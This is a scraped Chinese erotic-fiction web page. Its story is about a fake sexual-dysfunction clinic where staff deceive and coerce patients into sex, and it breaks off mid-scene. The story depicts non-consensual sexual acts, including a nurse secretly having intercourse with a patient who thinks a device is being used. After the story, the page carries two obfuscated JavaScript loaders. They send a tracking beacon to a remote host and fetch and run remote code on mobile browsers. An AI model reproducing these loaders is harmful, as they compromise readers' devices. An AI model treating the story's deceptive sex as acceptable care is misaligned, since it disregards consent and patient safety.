图片载入中

小护士的工作日记

特大字】 【大字】 【中字】 【小字

(一)第一诊疗室

“嗯∼∼我找找喔∼∼介寿路二段……九巷五楼……这条是八巷啊?那应该是下一条巷子才对……七号的门牌在哪?门牌、门牌……啊!是这里吗?”

繁华喧闹,号称一国门面的大城市,大街小巷车水马龙,路上行人来来往往都像是赶投胎似努力发扬‘时间就是金钱’的理念,虽然没人停下脚步,街道上密密麻麻的人潮却未曾少过。宛若昆虫向光的本能,熙熙攘攘的人群总是往最热闹的地方聚集,交通集散的捷运站,血拼圣地的百货公司,或是加班到爆肝的科技公司大楼。

可是这个人不一样。

逆流而行,绕过许多行尸走肉,一身业务员装扮的青年,手臂上勾着黑色A4大小的公事包,散发着热气,显然就是刚脱下来、皱巴巴的西装外套缠在另一侧;他伸手解开领口的钮扣,将简易领带扯松,汗湿的衬衫服贴在背。

“啊,找到了。”

仔细对照手中胡乱涂鸦似的便条纸地图,小陈停下脚步,仔细确认门牌住址,以及,挂在一旁非常不显眼的招牌,或者该说是小木牌。

【信心复健专科诊所(5F)】

木制挂牌灰濛濛的满是尘埃,虽说是电梯大楼,但也不过就是那种都市常见的小型电梯公寓,电梯旁矮旧的柜台内那个穿着警卫制服在看报纸的人,很明显就是退休后杀时间的。

这……这里真的会是那间网路上流传很神、很有效的复健诊所吗?小陈非常怀疑,但现在的他已经走投无路。

没有多余的时间了,就算是过江的泥菩萨他也会冲上去抱祂的大腿。

按下按钮,迈步进入灯光昏黄、狭窄的空间。

电梯向上。

* * * *

“您好,请问有预约吗?”

“啊……没有……”

“那请先在这边挂号喔!请问有带健保卡吗?”

窗明几净,整洁宽敞,这是小陈踏入‘信心复建专科诊所’的第一印象。 因为跟整栋大楼的外观、那个摇晃到让人怀疑的电梯相比,差异实在太大,瞬间让他脑子没办法反应。

“收您一百五十元,这是您的健保卡。本时段预挂的病人未到,您现在可以进去。”穿着深紫色套装的批价小姐递还卡片,贴心的指示方位。

将卡片随意塞进手提包里,小陈沿着米色系装潢的通道走去,推开挂着‘问诊室’的那扇门。

“陈先生你好,这边请坐,今天有什么问题?”清澈、充满自信的女声。 白色调四坪大小的诊间内有两个人。

说话的那位双手交叠撑在桌面上,巴掌大的鹅蛋脸挂着银框眼镜、披着白袍,坐在椅子上看不出身高但绝对苗窕,睿智双眸散发成熟魅力的女医师。

以及站在一旁,扎着马尾、白色立领侧扣护士服装扮,看起来相当清纯、青涩的年轻女孩。

“我……我今天是……”小陈语塞。

怎么网友没说是‘女医师’!?这问题我怎么跟女人说出口啊!!太尴尬了! “我猜猜,”发觉小陈不自在、不自然的举动,似乎非常习惯这种反应的女医师说道:“早泄?阳萎?过小?过大?过久?性冷感?性无能?”

小陈瞪大双眼。太、太直接了吧……。

“说吧?”女医师笑着,理所当然的催促。

深深的叹了口气,既来之,则安之。小陈断断续续把自己遇到的问题,一五一十,慢慢的说出来。

就像是把‘男性自尊’指派去‘走钢丝’,小陈非常不安,也不敢擡头,深怕不小心跟医师或是护士对上眼。

若是那些女人眼中含着一丝不屑,他可能会失意到从五楼跳下去。

“这样啊∼∼”女医师摇晃笔杆,随手在空白的条纹纸上书写。

“陈先生你两个月前开始发现自己勃起困难,找了很多理由搪塞未婚妻,也看过很多医生,未见起色。而下个月你就要结婚了,新婚之夜恐怕是没办法隐瞒这隐疾,才会找上本诊所吧?”

“是的……”

“男性无法勃起的原因有很多种,生理、心理都有可能,也就是所谓的器质性、心因性,多种问题混合的也很常见。过去有这样的情况吗?”

“没有……”

“以前可以顺利勃起性交吗?”

“可以……”

“是吗?那这样好了,我请护士帮你确认一下外生殖器有没有什么异常。” 闻言,小陈看向静静站在一旁的护士,对方脸上带着制式化的微笑。

“先生,这边请。”

* * *

脱掉裤子,踩着垫高用的小板凳坐定位,小陈犹豫了会儿,怯怯的将两条裸露的腿左右跨出,他之前常常看未婚妻双脚开开等他插,没想到自己也会有摆出这种姿势的一天。

“那个……护士小姐,这个椅子不是女人生小孩的吗?”

“这是内诊专用的,请您不用担心。”

护士熟练的戴上口罩,自玻璃柜中取出一包东西,一半是纸制的,另一半是透明、像是塑胶袋的材质,拆开包装,随着护士的动作,逐渐看出那是个用大张正方形纸张包装的塑胶盒。

“请您放轻松。”说着,护士坐上内诊椅前头的圆凳,用戴着无菌橡皮手套的手一把抓起小陈的阴茎。

感觉好怪!女人看妇产科的时候也会这样吗?小陈心想。

因为眼前隔着一层绿色的布帘,小陈没办法直接看到护士的表情与动作,不知道也无法预测对方下一步会怎么做,恐惧与期待让他忘记雄风受挫的悲哀。 喔!他在心中呐喊。

虽然看不到,可是抓着老二的那只手握的好紧,橡胶的触感怪怪的,但还满温暖的。

尿道口好像被撑开了吧?感觉怪舒服的。

包皮被挤下去了,在检查龟头吗?哇,这样摩擦感觉还不错。

也许我会就这样在可爱小护士手中重振雄风喔。小陈心想。

“陈先生,我现在要帮你使用阴茎杯套。”布帘另一头传来护士的声音。 “阴茎杯套?”

“就是男性专用的自慰杯。外观上没有异常,目前也有充血等勃起征兆,现在先用辅助器材排除一些影响因素,可以接受吗?”

老二杯就老二杯,讲那么多干麻。

“可以,麻烦了。”

下腹传来湿滑冰凉的感受,接着,是温暖紧致的完整包覆。

* * *

左手抓着半勃的肉棒,右手将塑胶罐中的KY挤出,直接淋在阴茎上。

明雪确认了眼前的屏风完整,患者不会看到任何处置的过程,便将橡胶手套卸除扔到脚边感染分类垃圾桶。

她撩起裙䙓,里头穿着蕾丝吊带袜及白色蕾丝小丁,手指勾着小丁两侧,缓缓往下卷、脱掉,摆在一旁的铁灰色治疗盘上。

眼前的男人双脚大开被架在内诊椅上,肉棒已经润滑完毕。

再次确认患者什么都不会看到后,明雪将裙子抓到腰间打了结,避免滑下,接着转过身子,双手抓着大约在肩膀处,从天花板垂吊而下的特制辅助拉环,半蹲着缓缓坐下。

她要很小心才能避免屁股碰撞到患者的大腿,那样会被发现。

“唔唿……”布帘另一头发出叹息声。

虽然已经很习惯这份工作,这根肉棒也没全硬,但是小穴吃入肉棒的瞬间,明雪的小脸还是微微扭曲,忍不住张嘴哈气,但又不能发出任何呻吟。

“陈先生这样的程度可以接受吗?”手掌用力抓着吊环,明雪力求音调平稳的问着。

“可以,还……满舒服的……”一无所知的小陈感叹道。

废话。明雪心想。

“那我开始动了,请您不要乱动避免摔下内诊椅,可是有瘫痪的危险喔!” “瘫痪!?我、我知道了,可以了。”

半蹲的小屁屁上下移动,瑰红色的阴唇紧紧包裹住男根茎部,速度很慢、很慢。

冰凉的润滑液,以及逐渐发烫的肉棒,明雪紧咬着下唇,掌心沁出汗来。 阴毛处理干净的大小阴唇最能直接表现出兴奋程度,当体内的肉棒越来越有存在感,唇肉愈加鼓胀,粉嫩转为深沈。

“喔、唿、唿……护士小姐!我……我觉得老二有感觉了!”小陈在另一头呐喊。

“嗯……”到口的娇喘硬是吞回去,明雪敷衍应道:“这是好现象,请、请你不要乱动,那样、那样很危险的……啊……”

忍不住差点叫出来,明雪赶紧闭嘴。

粉嫩的翘臀上下摆动着,好几次小陈因为兴奋而往上顶,明雪都得努力的把小屁股俏高高,惊险万分,赶紧用‘摔下来会下半身瘫痪’威胁小陈别乱动。 小陈双腿之间越来越湿,液体顺着阴茎漫流,经过包皮,通过股沟,在小陈屁股下垫着的看护垫上染出一朵朵,大小不一的水渍。

肉棒彻底的擡头挺胸,似乎是太久没用,茎部上爆出好几条青筋,又硬、又粗、又有存在感,明雪不由得加快扭腰的速度,小穴吐纳着热烫的肉棒,淫水夸张的纵流而下。

好、好爽……。

明雪使劲抓着吊环,上半身不自觉的向后挺去,苹果般红润的小脸,双眼因肉欲而迷濛,小嘴痛苦的张着喘息,想叫却不能叫,却闭也闭不住,唾液跟着从嘴角溢出,顺着尖细的下巴滴落。

“啊……护士……护士!我、我要射了!”

“唔…那就射吧,别忍耐。”把我淫荡的小穴射的满满的吧。

“喔喔……啊……”

明雪没有移开雪白的翘臀,维持着半蹲的姿势,夹紧体内半根肉棒,感受到体内一股热流猛烈的冲击。

好烫……。明雪止不住的打颤,过了一会儿,才又翘起臀部。

当湿稠黑红的阴茎离开肉穴,撑开,又紧缩,浊白色的精液从不断收缩的粉红花园中流泻而下。

今天又被灌的满满的了。

放开吊环,站回原本的位置,取回放在治疗盘上的白色小丁,毫不在意腿间滑腻的液体,明雪直接把小丁穿回,接着取过一旁夹满A4纸张的板夹跟一只原子笔,在“心因性”的选项,用蓝笔打了一个小小的勾。

那个角度就跟她脸上的笑容一样。

* * *

“医生!你们诊所的自慰杯品质也太好了吧,我之前用的像是垃圾!”

“呵呵……是吗?”

诊间现在只剩下小陈跟女医师两个人,刚才的护士不知道跑到哪里去了。 “那医师请问一下,我这样是什么问题呢?”比起方才进入诊所时的郁郁寡欢,现在小陈可说是满面春风。

对于这预料中的反应,女医师只是甩了甩笔杆,一边说明,一边洋洋洒洒在病历上列出一行又一行不知道是英文还是什么文的东西。

“勃起是没问题、射精也没问题,看刚才的报告应该是心理因素,也就是压力之类的。放轻松或者除去一些压力的源头,就可以了。”

“这样吗?可是,要是我回去又不能硬怎么办?”虽然有点放心,但小陈心中不举的阴影仍然挥之不去,赶忙追问。

“嗯,要是那样的话∼∼”

女医师放下手中的原子笔,恢复成双手交叠称在桌面,下巴压在指背上。 神情依旧充满自信。

“我会帮你预约挂号,请你下礼拜在来回诊。”

------------------------------------ * 如不想破坏感觉,建议停止流览。 *

------------------------------------ (二)第二诊疗室––上

“可以叫下一号了。”

目送喜孜孜的西装业务男离开诊间,赵医师对一旁刚来递补空缺的跟诊护士小君颔首示意。

“是的,医师。”敏萍应声,随手按下一旁的数字键盘。

候诊区僵硬的电子叫号声跟着响起,提示下一位患者进入。过一会儿,看诊室的门把转动、开启,进来的是一个年轻人。

身着黑色字母长T,外搭短袖格子衬衫,下半身套着磨损严重的宽松牛仔裤,脚踩看起来很久没有洗的灰色绑带平底鞋,肩上背着颇具重量感的黑色后背包,杂草般的头发,黑色粗框大眼镜,底下是遮不住的黑眼圈。

“今天有什么问题?啊……不好意思,你是回诊的?”顺口说出习惯的问候语,才发现一旁电脑萤幕上显示着‘复诊’两个字,赵医师连忙改口。

年轻人态度极不自然的点点头。

奇怪,我对这个病人没印象啊?赵医师心想。视线又转回萤幕上,浏览先前的病历,总算拼凑出些许记忆。

“嗯……我上次请您回诊要带过来的东西,请问您有带吗?”

“有、有!在这边……”阿达慌慌张张的打开背包,忙乱的东翻西找。

从表浅的搜寻,到最深处的挖掘,手臂几乎整只都伸到包包里面,挖呀挖的,总算取出一样皱到像是腌酱菜、远远观望也觉得有味道散发出来的物品。

阿达抓着两端,双手拉开,双臂伸展,原本皱巴巴的布料展开。

那是一件看起来充满岁月痕迹的枕头套,底色泛黄,上头还印着一个衣衫半退、满脸羞红,大到夸张的两颗眼珠像灯泡闪烁。

“……”护士敏萍瞬间傻眼,什么话都说不出来。

赵医师呆愣两秒随即振作,说:“这是你平常‘使用’的吧?只有这个吗?” “不、还、还有其它的!我房间还有长门大神泳装限定抱枕、梨花巫女服抱枕!上个月贩售会入手的还没拆封,CC的早上刚收到,来不及写开箱文,所以就让CC宝贝在家睡觉;啊这个、今天我带来的这个是朝比奈……”

前一秒还闷不吭声的阿达,像是被按下什么奇怪的开关似的,滔滔不绝的介绍起自己收藏各颗抱枕的来源跟历史,而且每颗抱枕好像都有亲密的昵称。

“先生,不好意思,你现在说的这些跟你来诊所的原因没有太大的关连。” 实在是忍受不住,赵医师开口制止,伸手取下银框眼镜搁在桌面,指尖扶着太阳穴轻轻的按摩。

“……。”把话咽回喉咙,阿达又恢复默不作声的模样。

“其实每个人多多少少会有不同的性癖,毕竟是属于私密、被绝对保障的个人隐私之范畴,既不会直接承受社会观感,不伤害到其他人其实无伤大雅。”赵医师解释,偏着头,持续揉压额侧。

“我知道……可是……”欲言又止。

赵医师望着阿达,等了等,却没等到下文,只得继续加强鼓励自述:“刚才我观察到您也乐于接受自己的性癖好。经验丰富,持续时间已久,为什么会突然想要来就诊呢?”

“因为……因为……”阿达身体左摇右晃,扭扭捏捏像是跳针的唱盘,不断重复‘因为’两个字。

“先生,”护士敏萍提醒道:“您如果不把问题说出来,医师没办法帮助您,这样下去会占用到下一个病患的时间。”

擡头看了看两位女性,又擡头叹气,挺起胸膛用力深唿吸。

“我……我前几天在聊天室遇到一个小女生,我跟他说我是处男,她说愿意跟我做。我、我是男生,当然很高兴啊!在聊天室的时候我还兴奋到勃起!可是……可是……”

“请继续,我会仔细听。”赵医师说。

“可是……因为我没什么钱,那天我跟那个女生去车站的残障厕所,他很主动帮我吹,那时候我还很硬、很兴奋,也很期待!只是……当那个小女生把衣服拉开露出两个小奶子的时候,我……”

“失去兴致吗?”

阿达点点头,继续说:“看到那两颗又大又黑的奶头,我就有点软掉,朝比奈抱枕的小蓓蕾是粉红色的,多可爱……等那女网友把内裤脱了要我帮她舔的时候,才发现她的下面就像男人的下巴!医师你知道吗?真的很像我刚起床的时候,胡子刚长出来,又粗又黑,一点一点的!而且还有酸酸的味道飘出来……我就软了……长门抱枕的下面光滑白皙,看了我就硬,差好多……”

“嗯……”遇到这么糟糕的经验,会软掉应该算正常吧?赵医师反问:“那你有没有想过是每个人的喜好不同,造成的差异呢?就像有些人喜欢大奶,有些人偏好平胸,你懂我的意思吗?或许刚好是这女网友不合你性趣?”

“她说其他男生都喜欢找她做爱,我想……既然大家都喜欢,我也是男生,至少要有反应?可是我看到他就没办法硬,而且……”

阿达叙述的声音越来越小声:“而且……她之后在聊天室公开说我性无能,就连我换ID还是被发现,被笑……”

看着阿达脆弱到快被风化的男性自尊,荑手纤纤挥动,笔尖在纸张上流畅漫舞,一行又一行,不停书写。

接着,她放下了手中的笔,摆出手肘搁在桌面上,双手交叠的模样。

“我想,你需要的是行为治疗。”

* * *

其实阿达也搞不清楚状况。

只看到那位女医师从印表机输出一张纸,在上面写了两三行,就交给一直站在一旁的护士小姐。接着护士小姐就领着他离开问诊室,来到一个挂着‘治疗室’门牌、同样格局的房间。

里头有一位扎着黑色长马尾的美女,眼神看起来有点凶狠,却在眼波流转之间传递出些许妩媚的感觉。身上穿着短的像是西装外套的白袍,黑色窄裙紧紧包裹下半身曲线,透明带点丝光的裤袜紧贴着肌肤向下延伸,直到被同色系的绕踝高跟鞋藏匿。

“您好,我是专责复健师,我姓李。过去有接受过行为治疗的经验吗?” “没有……。”

“那我跟您简单的解释一下,认知治疗就是以改变思考形式,来减缓或解除以情绪为主的问题行为,像是恐慌或忧郁;行为治疗则是从最基本的地方着手,来改变问题行为。所以,现在必须请您表现出您的问题行为,借由从旁观察来发现症结,再提供您改变的方法。这样您可以理解吗?”

“我,我听不太懂……”

“那我换个方式说。首先,请把抱枕拿出来借我看一下。”李医师接过阿达递出的抱枕,看了看,又对刚刚陪同过来的护士敏萍招手。

“敏萍麻烦你,穿着配合这个抱枕上的印刷图。”

“好的。”敏萍点头,动手将护士服的暗扣解开,从高领处一路解到腰际,撩开两片白色的护士服,露出浅粉色的蕾丝胸罩及掩不住的白皙丰盈,跟着又把及膝的裙䙓拉起,就连小裤裤也配合那张图片,只有一边脱到一半,卡在大腿上。 “咦!?这样、这样不好吧!!?”阿达大叫,双手不停挥舞,似乎是要有礼勿视,却又舍不得遮盖住难得的春光。

“先生,请您不要乱想!”李医师压低声调严厉的指正。

“护士小姐只是在协助您进行治疗,如果您无法认清事实而胡思乱想,无法配合,那抱歉本诊所爱莫能助!”

是这样吗?这样说对吗?

好像对?又好像不对?

阿达满脑子问号,却还是配合的点头。

“我、我知道了……对不起……。”

“那,现在麻烦您到治疗床上。”李医师指着诊间墙边,说道。那儿摆了张胡桃木色的单人床,没有床头板也没有床栏,四根柱子又高又直,几乎到成人腰际,翻身没注意肯定会摔下来,就像是推拿中心常常看到的那种床。

虽然搞不清楚状况,阿达将随身的后背包放在地上,同手同脚爬到床上坐着。 护士也跟着爬上去,坐在阿达身边。

“为了对您的问题行为有最直接的了解,请您现在把护士当成抱枕,实际操作您所困扰的问题行为。”

* * *

“我……我平常会先把……把抱枕抱紧……唔……这样……这样没关系吗?” “先生,您光用说的,我怎么会知道真正的过程呢?请您就照着您平常的模式进行。”

“喔……好、好吧……”

阿达伸出颤抖的手,因为太过紧张,手掌心满是手汗。胳臂绕过敏萍肩头,便原地悬空,不停打颤,连碰都不敢碰。

“先生,看诊时间也是有限制的,如果您再不合作,那我得请您离开了。” 李复健师距离床沿大约一米的位置,神情悠哉的坐在办公椅上,左手肘弯曲撑着扶手,头轻轻歪着,脸颊靠在指节的位置,整个人重心倾向左侧,一双玉腿又直又长往右边伸展、交叠,不时更换翘脚的摆位。

牙一咬,阿达抱着被告性骚扰的心理准备,黏腻发汗的指尖率先达阵,轻触护士背部赤裸的肌肤,接着双臂夹紧,将护士敏萍抱个满怀。

好、好香的味道……。

“接着你会怎么做呢?”还来不及陶醉,复健师又开口催赶。

“然后、然后我会……亲……亲抱枕……。”说着,阿达低头看向怀中护士小姐的脸,感觉脑子几乎要炸掉似的焚烧,空气好像也跟着体温燃烧殆尽,他感到唿吸困难,好喘、好喘。

“请您确实执行。”一边说,李复健师伸手推了推阿达的后脑杓。

抖个不停的嘴唇直接往敏萍脸上撞过去,四片唇瓣硬是被外力推挤在一块儿。 “只有亲吻吗?还是会伸舌头呢?啊、您不用回答我,直接表示就好。”起;当他紧张到忍不住用鼻孔喷气,那纤长卷俏宛如扇子的睫毛,还会轻轻搧动。 碰都碰了,再多碰一点也不会怎样吧?

心一横,阿达伸出肥大湿润的舌头,来回舔着护士敏萍的双唇。又软又香,看护士小姐都没挣扎,他放大胆往唇缝舔去,肥舌在敏萍的嘴上不停钻动,硬是把她的嘴唇给撬开,将那潮湿厚实的舌头跟唾液塞到小嘴里头。

虽然有跟女网友做爱过,但那个小女生好像太过主动,又快又急,处男阿达第一次碰女体,什么都还来不及感受,对方就又吻到其他地方去了。

“唔唔……”笨拙又粗暴的动作,惹得敏萍忍不住发出细碎嚘嘤。

但这微弱的呻吟声,对于成人游戏玩太多的阿达来说,跟‘啊∼∼人家好舒服∼∼’是划上等号的,听得他越激动,厚舌笨拙却又灵活的窜入又钻出,低头猛吮,像是要把敏萍的蜜液榨得一滴不剩。

破碎的‘唔嗯……’,急促的‘啧、啧∼∼苏∼∼’,治疗室内淫声缭绕。 “嗯咳!”眼见阿达全然忘我,复健师清清喉咙,意图引起他的注意。阿达仿佛大梦初醒般,一脸呆滞的望向噪音声源,连滴垂的口水丝都忘记吸回。

“不好意思,你习惯在拥抱之后亲吻抱枕,接下去又有什么习惯呢?”

“我……”阿达将搂得死紧的双手缩回,看看掌心,接着双手翻转、伸出,虽然不停发抖,但那双伸出去的手未带一点犹豫。

“我的、我的习惯……抓奶、看乳头、然后……”

“看来您无法用言语表达,请示范一下吧。”

治疗师的话才刚说完,狼爪马上罩住敏萍的乳房。

阿达并不是特别偏好大胸,不论是贫乳的长门大神,还是巨乳的朝比奈,全都被他纳入‘抱枕后宫’之中。

第一次遇到的那具女体,小女网友自称C罩杯,阿达一直无法理解为什么A漫中的C罩杯都又圆又漂亮,可是那天看到的却是又尖又黑,于是他认定AV女优或写真女优的乳头都是修片的!

但现在握着的这个,护士小姐的乳房,不会太大,也不会太小,刚好是阿达掌心拱起后能完全掌握的尺寸。

虽然隔着薄薄的粉红色花边蕾丝胸罩,但那两颗奶子好像有吸力,紧紧吸附着他的双手,放也放不掉,只能抓着两颗圆润不断搓揉。越揉越带劲,也无法确定自己是无意?或是刻意?不知道怎么揉的,蕾丝胸罩就被他给用歪了。

白嫩温暖的触感像是闪电直接噼在阿达头上,狼爪罩着柔软,左手逆时针,右手顺时针,故意把奶子往外揉,顺道把胸罩给往下挤。

“啊嗯……啊……”

H-game没有白玩,仿效H-game中动作选项,这招计谋果然奏效。包覆着丰

盈的蕾丝布料全给推挤到乳房下缘,除了指尖柔嫩感外,掌心好像有小小的颗粒,犹如音响转钮,每每手掌揉搓小颗粒,敏萍就跟着发出诱人淫叫。

温暖的触觉像是冬天的暖炉,白润的视觉好似夏天的冰淇淋。

一面搓揉,一面偷偷把指缝撑开,想要一窥神秘小颗粒。粉红坚挺的小花蕊从指缝间绽放,乳晕大概只比一元硬币大一点点,梦幻粉嫩诱人一亲芳泽。

什么治疗?什么诊所?他什么都不知道!

顺应本能,阿达低头用力的含住粉红色的小软糖。

* * *

“喂?你好?”

感觉到口袋中的震动,李复健师走到治疗室另一头接起手机。

“赵医师?我还在看诊……喔?这样吗?好,我知道了,我现在马上过去。” 她看着被阿达压在身下的敏萍,确定两人视线相接,轻轻点头。

“等等把报告放在桌上,麻烦你了。”语毕,李复健师开门离去,房内只剩下


上一篇:我跟3个老头

下一篇:少妇就医


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};